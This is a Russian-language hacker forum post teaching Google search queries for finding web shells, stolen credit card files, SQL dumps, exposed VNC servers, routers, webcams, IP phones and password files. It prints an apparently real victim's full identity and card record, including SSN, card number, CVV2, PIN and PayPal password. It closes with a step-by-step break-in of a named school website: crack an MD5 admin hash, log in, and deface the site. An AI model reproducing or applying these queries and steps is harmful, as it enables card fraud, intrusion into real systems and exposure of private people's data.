Лидер поисковых машин интернета, Google занимает более 60 % мирового рынка, а значит, шесть из десяти находящихся в сети людей обращаются к его странице в поисках информации в интернете. Сейчас регистрирует ежедневно около 50 млн поисковых запросов и индексирует более 8 миллиардов веб-страниц. Google может находить информацию на 117 языках (на 28 апреля 2008).
МЫ будем искать с помощью google то что интересно хакеру, а именно пароли, банковские карты и кредиты, vnc сервера, шеллы и др...
1.SHELL - это образ чьего-нибудь компа юзера какого то сайта самые распространенные шеллы это r57shell, c99shell,remview... Их можно отыскать запросом: a)intitle:"phpremoteview" filetype:php б)inurl:"remview.php" Таким же образом ищатся и r57shell и c99shell... 2.СVV2 - кредиты, кредитные карточки. Их можно отыскать запросом: а)filetype:txt intext:cvv2 С помощью CVV2 можно купить себе голосов вконтакте ))) ищите карты с неистекшей датой использования (как бы срок годности) Примерный результат ______________________ Firstname: Sandra Lastname: Mountain Address: 3552 Gallagher Dr City: Tallahassee State: FL Zipcode: 32309 Phone: 850-893-2732 SSN: 591-42-4076 Mother'sMaidenName: Letchworth Driver Licence: M535-793-86-606-0 IssuedState: FL DOB: 03-26-1986 CardType: Credit Cardname: Sandra Mountain Cardnumber: 4011806090769422 Expiry Date: 08-2007 CVV2: 666 ATM Pin: 9357 BankName: Suntrust BankPhone: 850-907-5173 RoutingNumber: 063206090 Account Number: 1000024711151 PaypalEmail: mss888@aol.com PaypalPassword: kisikalika1 б)filetype:txt intext:american express - и так далее думаю принцып понятен... 3.SQL - ДАМП БАЗЫ. Их можно отыскать запросом: а)filetype:sql "IDENTIFIED BY" -cvs Примерно вот такой результат: USE mysql GRANT ALL PRIVILEGES ON acctROC.* TO 'acctROC'@'localhost' IDENTIFIED BY 'INSERT_YOUR_PASSWORD'; GRANT ALL PRIVILEGES ON acctROC.* TO 'acctROC'@'127.0.0.1' IDENTIFIED BY 'INSERT_YOUR_PASSWORD'; GRANT ALL PRIVILEGES ON acctROC.* TO 'acctROC'@'localhost.localdomain' IDENTIFIED BY 'INSERT_YOUR_PASSWORD'; GRANT ALL PRIVILEGES ON acctROC.* TO 'acctROC'@'WEB_SERVER_CHANGE IT' IDENTIFIED BY 'INSERT_YOUR_PASSWORD'; GRANT ALL PRIVILEGES ON acctROC.* TO 'acctROC'@'UI_CHANGE IT' IDENTIFIED BY 'INSERT_YOUR_PASSWORD'; 4.VNC доступ. Их можно отыскать запросом: а)intitle:"VNC viewer for java" Вот такой вот сервис: http://phpaaa.narod.ru/java.bmp Потом через баг или брут производим захват... Вобщем это уже ваша фантазия... 5.Роутеры. Их можно отыскать запросом: а)intitle:"SpeedStream Router Management Interface" Вот такой вот роутер: http://phpaaa.narod.ru/rout.bmp 6.Принтер сервер и веб камеры. Их можно отыскать запросом: а)inurl:webArch/mainFrame.cgi - Принтер б)inurl:"ViewerFrame?Mode=" inurl:netw_tcp.shtml intitle:"supervisioncam protocol" inurl:CgiStart?page=Single inurl:indexFrame.shtml?newstyle=Quad intitle:liveapplet inurl:LvAppl inurl:/showcam.php?camid inurl:video.cgi?resolution= inurl:image?cachebust= intitle:"Live View / - AXIS" inurl:view/view.shtml intext:"MOBOTIX M1" intext:"Open Menu" intitle:snc-rz30 inurl:home/ inurl:"MultiCameraFrame?Mode=" intitle:"EvoCam" inurl:"webcam.html?quot; intitle:"Live NetSnap Cam-Server feed" intitle:"Live View / - AXIS 206M" intitle:"Live View / - AXIS 206W" intitle:"Live View / - AXIS 210" inurl:indexFrame.shtml Axis inurl:"ViewerFrame?Mode=" inurl:"MultiCameraFrame?Mode=Motion" intitle:start inurl:cgistart intitle:"WJ-NT104 Main Page" intext:"MOBOTIX M1" intext:"Open Menu" intext:"MOBOTIX M10" intext:"Open Menu" intext:"MOBOTIX D10" intext:"Open Menu" intitle:snc-z20 inurl:home/ intitle:snc-cs3 inurl:home/ intitle:snc-rz30 inurl:home/ intitle:"sony network camera snc-p1" intitle:"sony network camera snc-m1" site:.viewnetcam.com -www.viewnetcam.com intitle:"Toshiba Network Camera" user login intitle:"netcam live image" intitle:"i-Catcher Console - Web Monitor" inurl:/home/home intitle:flexwatch intext:"Copyright by Seyeon TECH Co" intitle:"snc-rz30 home" intitle: Network camera Веб камеры 7.Чужие IP телефоны. Их можно отыскать запросом: а)intitle:"Sipura SPA Configuration" -.pdf 8.Фото ч чужих цифровых аппаратов. Их можно отыскать запросом: а)index.of.dcim 9.Халявный нортон антивирус. Их можно отыскать запросом: а)inurl:"GRC.DAT" intext:"password" 10.Пассы на сайты и всего что попадется - inurl:"password.dat" filetype:password.dat intext:"password" 11.Пример простейшего способа взлома рандомного сайта 1)Идем на Google.ru и в строке пишем Filetype:dat passwd (Ищем файлы с паролями) 2)Находим на сайте www.schoolseven.ru/ не замысловатый PHP скрипт с данными для аутентификации админа <?php $Password['admin'] = "81dc9bdb52d04dc20036dbd8313ed055"; ?> Где admin это логин ну а 81dc9bdb52d04dc20036dbd8313ed055 это пароль зашифрованный в md5 3)Идем на md5.rednoize.com и расшифровываем нашу строку получаем 1234 это и есть пароль от админки 4)Когда я нашел файл со скриптом он выглядел так http://www.schoolseven.ru/gost/passwd.dat корректирую его и получаю http://www.schoolseven.ru/gost/admin.php 5)Ввожу данные Логин:admin Пароль:1234 6)Оп ля я в админке !!! Дефейс занимает пару минут :mybb: желаю удачи!
И Еще не советую сильно связываться с Кредитными карточками VISA и за них можно попасть в тюрьму